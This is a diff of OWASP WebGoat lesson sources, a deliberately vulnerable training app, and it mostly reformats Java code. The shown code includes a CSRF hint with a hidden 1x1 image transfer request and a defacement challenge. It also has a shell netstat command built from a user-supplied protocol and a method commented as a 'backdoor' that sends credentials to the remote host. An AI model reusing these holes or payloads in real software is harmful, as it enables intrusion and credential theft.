"&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>"); + "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
return hints; return hints;
} }

32
main/project/JavaSource/org/owasp/webgoat/lessons/Category.java
View File

@ -1,35 +1,35 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Iterator; import java.util.Iterator;
import java.util.List; import java.util.List;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *

137
main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -16,9 +17,7 @@ import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.StringTokenizer; import java.util.StringTokenizer;
import java.util.Vector; import java.util.Vector;
import javax.servlet.http.Cookie; import javax.servlet.http.Cookie;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -39,32 +38,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec; import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults; import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -195,8 +193,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
s.getResponse().addCookie(newCookie); s.getResponse().addCookie(newCookie);
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "") if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(3)"))
.equals(PROCEED_TO_NEXT_STAGE + "(3)"))
{ {
s.setMessage("Welcome to stage 3 -- deface the site"); s.setMessage("Welcome to stage 3 -- deface the site");
setStage(s, 3); setStage(s, 3);
@ -207,8 +204,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement3 = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement3 = connection
ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
// pull the USER_COOKIE from the cookies // pull the USER_COOKIE from the cookies
String user = getCookie(s); String user = getCookie(s);
@ -232,8 +229,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(buildCart(s)); ec.addElement(buildCart(s));
Table t = new Table().setCellSpacing(0).setCellPadding(2) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setBorder(0).setWidth("90%").setAlign("center");
ec.addElement(new BR()); ec.addElement(new BR());
TR tr = new TR(); TR tr = new TR();
@ -265,8 +261,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(center); ec.addElement(center);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("An error occurred in the woods"); s.setMessage("An error occurred in the woods");
} }
@ -294,8 +289,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "") if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(4)"))
.equals(PROCEED_TO_NEXT_STAGE + "(4)"))
{ {
setStage(s, 4); setStage(s, 4);
// Reset the defaced webpage so the lesson can start over // Reset the defaced webpage so the lesson can start over
@ -309,22 +303,21 @@ public class Challenge2Screen extends SequentialLessonAdapter
{ {
ec.addElement(new HR()); ec.addElement(new HR());
s.setMessage("CONGRATULATIONS - You have defaced the site!"); s.setMessage("CONGRATULATIONS - You have defaced the site!");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().setAlign("center").addElement( tr.addElement(new TD().setAlign("center").addElement(ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(showDefaceAttempt(s))); tr.addElement(new TD().addElement(showDefaceAttempt(s)));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
return ec; return ec;
} else }
else
{ {
// Setup the screen content // Setup the screen content
try try
@ -332,8 +325,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new H1("Current Network Status:")); ec.addElement(new H1("Current Network Status:"));
ec.addElement(netstatResults); ec.addElement(netstatResults);
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
@ -342,21 +334,17 @@ public class Challenge2Screen extends SequentialLessonAdapter
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network"))); tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network")));
tr.addElement(new TD().setWidth("35%").addElement( tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
} } catch (Exception e)
catch (Exception e)
{ {
ec.addElement(new P() ec.addElement(new P().addElement("Select a message to read from the Message List below"));
.addElement("Select a message to read from the Message List below"));
} }
ec.addElement(new HR()); ec.addElement(new HR());
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
@ -377,15 +365,13 @@ public class Challenge2Screen extends SequentialLessonAdapter
try try
{ {
// get current text and compare to the new text // get current text and compare to the new text
String origpath = s.getContext().getRealPath( String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false); String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false); String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false);
defaced = (!origText.equals(defacedText)); defaced = (!origText.equals(defacedText));
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -398,11 +384,10 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
// get current text and compare to the new text // get current text and compare to the new text
String origpath = s.getContext().getRealPath( String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false); String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(s.getContext().getRealPath( String origText = getFileText(new BufferedReader(new FileReader(s.getContext()
WEBGOAT_CHALLENGE_JSP))), false); .getRealPath(WEBGOAT_CHALLENGE_JSP))), false);
// show webgoat.jsp text // show webgoat.jsp text
ec.addElement(new H1().addElement("Original Website Text")); ec.addElement(new H1().addElement("Original Website Text"));
@ -420,8 +405,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
try try
{ {
// get current text and compare to the new text // get current text and compare to the new text
String defacedpath = s.getContext().getRealPath( String defacedpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
// replace the defaced text with the original // replace the defaced text with the original
@ -431,8 +415,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
fw.close(); fw.close();
// System.out.println("webgoat_guest replaced: " + getFileText( new // System.out.println("webgoat_guest replaced: " + getFileText( new
// BufferedReader( new FileReader( defacedpath ) ), false ) ); // BufferedReader( new FileReader( defacedpath ) ), false ) );
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -458,8 +441,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Thanks for coming!")); ec.addElement(new H1().addElement("Thanks for coming!"));
ec.addElement(new BR()); ec.addElement(new BR());
ec ec.addElement(new H1()
.addElement(new H1()
.addElement("Please remember that you will be caught and fired if you use these techniques for evil.")); .addElement("Please remember that you will be caught and fired if you use these techniques for evil."));
return (ec); return (ec);
@ -525,8 +507,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In ")); ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%") Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -534,10 +515,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr tr.addElement(new TH()
.addElement(new TH() .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
@ -594,9 +573,9 @@ public class Challenge2Screen extends SequentialLessonAdapter
} }
/** /**
* This is a deliberate 'backdoor' that would send user name and password * This is a deliberate 'backdoor' that would send user name and password back to the remote
* back to the remote host. Obviously, sending the password back to the * host. Obviously, sending the password back to the remote host isn't that useful but... you
* remote host isn't that useful but... you get the idea * get the idea
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
@ -614,8 +593,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
System.out.println(" Sending message to " + sock.getInetAddress()); System.out.println(" Sending message to " + sock.getInetAddress());
sock.send(dp); sock.send(dp);
sock.close(); sock.close();
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Couldn't phone home"); System.out.println("Couldn't phone home");
e.printStackTrace(); e.printStackTrace();
@ -645,8 +623,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -668,7 +645,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
{ {
String cmd = "cmd.exe /c netstat -a -p " + protocol; String cmd = "cmd.exe /c netstat -a -p " + protocol;
er = Exec.execSimple(cmd); er = Exec.execSimple(cmd);
} else }
else
{ {
String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol }; String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol };
er = Exec.execSimple(cmd); er = Exec.execSimple(cmd);
@ -684,7 +662,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
if ((line.indexOf("Proto") != -1)) if ((line.indexOf("Proto") != -1))
{ {
start++; start++;
} else }
else
{ {
line = lines.nextToken(); line = lines.nextToken();
} }
@ -740,8 +719,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
{ {
OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream()); OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream());
osw.write(message); osw.write(message);
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Couldn't write " + message + " to " + s); System.out.println("Couldn't write " + message + " to " + s);
e.printStackTrace(); e.printStackTrace();
@ -754,8 +732,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -778,8 +755,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign( t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
"center");
if (s.isColor()) if (s.isColor())
{ {
@ -815,10 +791,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
for (int i = 0; i < cookies.length; i++) for (int i = 0; i < cookies.length; i++)
{ {
if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) { return (cookies[i].getValue()); }
{
return (cookies[i].getValue());
}
} }
return (null); return (null);

196
main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.ClientSideFiltering; package org.owasp.webgoat.lessons.ClientSideFiltering;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException; import java.io.IOException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -28,26 +28,30 @@ import org.owasp.webgoat.lessons.SequentialLessonAdapter;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public class ClientSideFiltering extends SequentialLessonAdapter {
public class ClientSideFiltering extends SequentialLessonAdapter
{
private final static String ANSWER = "answer"; private final static String ANSWER = "answer";
public final static A ASPECT_LOGO = new A().setHref( public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
"http://www.aspectsecurity.com").addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security") new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setBorder(0).setHspace(0).setVspace(0)); .setVspace(0));
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element createMainContent(WebSession s) { protected Element createMainContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script() ec.addElement(new Script().setSrc("javascript/clientSideFiltering.js"));
.setSrc("javascript/clientSideFiltering.js"));
Input input = new Input(Input.HIDDEN, "userID", 102); Input input = new Input(Input.HIDDEN, "userID", 102);
@ -56,8 +60,7 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(input); ec.addElement(input);
style sty = new style(); style sty = new style();
sty sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
+ "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);" + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);"
+ "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}" + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}"
+ ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);" + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);"
@ -82,23 +85,20 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(new BR()); workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new BR()); workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new P() workspaceDiv.addElement(new P().addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
.addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
workspaceDiv.addElement(createDropDown()); workspaceDiv.addElement(createDropDown());
workspaceDiv.addElement(new P()); workspaceDiv.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(2) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setBorder(1).setWidth("90%").setAlign("center");
t.setID("hiddenEmployeeRecords"); t.setID("hiddenEmployeeRecords");
t.setStyle("display: none"); t.setStyle("display: none");
workspaceDiv.addElement(t); workspaceDiv.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1) t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("UserID")); tr.addElement(new TD().addElement("UserID"));
@ -113,7 +113,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(t); workspaceDiv.addElement(t);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -127,29 +128,34 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The category value * @return The category value
*/ */
protected ElementContainer doStage1(WebSession s) { protected ElementContainer doStage1(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer answerString = null; StringBuffer answerString = null;
int answer = 0; int answer = 0;
try { try
answerString = new StringBuffer(s.getParser().getStringParameter( {
ANSWER, "")); answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, ""));
answer = Integer.parseInt(answerString.toString()); answer = Integer.parseInt(answerString.toString());
} catch (NumberFormatException e) { } catch (NumberFormatException e)
{
// e.printStackTrace(); // e.printStackTrace();
} }
if (answer == 450000) { if (answer == 450000)
{
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed."); s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} else { }
else
{
ec.addElement(stage1Content(s)); ec.addElement(stage1Content(s));
} }
@ -157,7 +163,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
} }
protected Element doStage2(WebSession s) { protected Element doStage2(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
/** /**
@ -168,31 +175,36 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp"); String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp");
String content = getFileContent(file); String content = getFileContent(file);
if (content.indexOf("[Managers/Manager/text()") != -1) { if (content.indexOf("[Managers/Manager/text()") != -1)
{
makeSuccess(s); makeSuccess(s);
ec.addElement(stage2Content(s)); ec.addElement(stage2Content(s));
} else { }
else
{
ec.addElement(stage2Content(s)); ec.addElement(stage2Content(s));
} }
return ec; return ec;
} }
protected ElementContainer stage1Content(WebSession s) { protected ElementContainer stage1Content(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(createMainContent(s)); ec.addElement(createMainContent(s));
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) { if (s.isColor())
{
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? "));
.addElement("What is Neville Bartholomew's salary? "));
tr.addElement(new TD(new Input(Input.TEXT, ANSWER, ""))); tr.addElement(new TD(new Input(Input.TEXT, ANSWER, "")));
Element b = ECSFactory.makeButton("Submit Answer"); Element b = ECSFactory.makeButton("Submit Answer");
tr.addElement(new TD(b).setAlign("LEFT")); tr.addElement(new TD(b).setAlign("LEFT"));
@ -200,7 +212,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(t1); ec.addElement(t1);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -208,9 +221,11 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec; return ec;
} }
protected ElementContainer stage2Content(WebSession s) { protected ElementContainer stage2Content(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(createMainContent(s)); ec.addElement(createMainContent(s));
@ -219,22 +234,24 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) { if (s.isColor())
{
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
/*tr.addElement(new TD() /*
.addElement("Press 'Submit' when you believe you have completed the lesson.")); * tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have
* completed the lesson."));
*/ */
Element b = ECSFactory Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson.");
.makeButton("Click here when you believe you have completed the lesson.");
tr.addElement(new TD(b).setAlign("CENTER")); tr.addElement(new TD(b).setAlign("CENTER"));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -242,28 +259,25 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec; return ec;
} }
protected Select createDropDown() { protected Select createDropDown()
{
Select select = new Select("UserSelect"); Select select = new Select("UserSelect");
select.setID("UserSelect"); select.setID("UserSelect");
org.apache.ecs.html.Option option = new org.apache.ecs.html.Option( org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee");
"Choose Employee", "0", "Choose Employee");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Larry Stooge", "101", option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge");
"Larry Stooge");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Curly Stooge", "103", option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge");
"Curly Stooge");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Eric Walker", "104", option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker");
"Eric Walker");
select.addElement(option); select.addElement(option);
@ -271,28 +285,23 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Jerry Mouse", "106", option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse");
"Jerry Mouse");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("David Giambi", "107", option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi");
"David Giambi");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre");
"Bruce McGuirre");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Sean Livingston", "109", option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston");
"Sean Livingston");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Joanne McDougal", "110", option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal");
"Joanne McDougal");
select.addElement(option); select.addElement(option);
@ -304,7 +313,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
} }
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
@ -313,17 +323,16 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) { public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints
.add("The information displayed when an employee is choosen from the drop down menu is stored on the client side."); .add("The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
hints hints.add("Use Firebug to find where the information is stored on the client side.");
.add("Use Firebug to find where the information is stored on the client side.");
hints hints.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Look in the last row of the hidden table."); hints.add("Look in the last row of the hidden table.");
@ -333,31 +342,33 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
hints.add("The server uses an XPath query agasinst an XML database."); hints.add("The server uses an XPath query agasinst an XML database.");
hints hints.add("The query currently returns all of the contents of the database.");
.add("The query currently returns all of the contents of the database.");
hints hints
.add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102"); .add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102");
hints.add("Try using a filter operator."); hints.add("Try using a filter operator.");
hints hints.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
return hints; return hints;
} }
public String getInstructions(WebSession s) { public String getInstructions(WebSession s)
{
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) { if (getLessonTracker(s).getStage() == 1)
{
